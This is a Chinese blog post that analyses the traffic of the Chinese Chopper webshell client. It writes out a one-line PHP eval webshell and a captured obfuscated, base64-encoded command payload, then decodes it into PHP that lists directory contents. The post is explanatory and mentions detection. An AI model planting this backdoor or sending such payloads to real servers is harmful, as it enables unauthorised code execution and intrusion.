• 菜刀数据包分析详解一句话木马


    0x00 构造一句话木马


    在本地phpstudy环境下,创建backdoor.php,并写入一句话木马。

    <?php @eval($_POST['cmd']); ?>
    

    0x01 菜刀连接后门


    image-20210331202526906


    连接时使用 WSExplorer进程抓包工具,抓到菜刀请求的数据包


    image-20210331202834956


    0x02 分析数据包


    查看数据包

    cmd=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J0Q6XFxwaHBTdHVkeVxcV1dXXFwnOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1I6Ly8gUGF0aCBOb3QgRm91bmQgT3IgTm8gUGVybWlzc2lvbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbGUoJE49QHJlYWRkaXIoJEYpKXskUD0kRC4nLycuJE47JFQ9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRQKSk7QCRFPXN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuIlx0Ii5AZmlsZXNpemUoJFApLiJcdCIuJEUuIlxuIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"));
    

    将其进行base64解码


    cmd=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0')
    {@set_magic_quotes_runtime(0);};echo("X@Y");$D='D:\\phpStudy\\WWW\\';$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F))
    {$P=$D.'/'.$N;$T=@date("Y-m-d-H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("X@Y");die(); 
    
    
    

    可以看到是一些文件操作的系统命令


    0x03 总结


    所以<?php @eval($_POST['cmd']); ?> 的原理,是将一些打开文件系统命令通过POST请求传入cmd中,但是传给cmd的这些字符串,必须以分号结尾,再通过php解析,eval执行函数,执行括号中的语句,即可触发后门。

    注:
    PHP eval() 把字符串按照 PHP 代码来计算。

    该字符串必须是合法的 PHP 代码,且必须以分号结尾。

    如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。


    以上包含了菜刀流量信息的特征,防御可进行相应的检测,另外,通过查看菜刀数据包,也可分析菜刀软件是否含有后门。


    本文来自博客园,作者:PsgQ,转载请注明原文链接:https://www.cnblogs.com/PsgQ/p/15676847.html

    喜欢作者瓜皮的小伙伴,点点关注,投喂瓜皮,你的支持是我一直创作的动力

  • 相关阅读:
    VC++数据类型最佳解释
    C++类型转换
    内核态和用户态
    AZMan使用经验点滴
    解析#pragma指令(转)
    htc使用心得
    在VS.net 2008中利用ATL来创建COM关于接口文件的引用变动
    移植Reporting Service报表到项目报表
    const常量、指向常量的指针和常量指针(转)
    extern用法详解(转)
  • 原文地址:https://www.cnblogs.com/PsgQ/p/15676847.html
Copyright © 2020-2023  润新知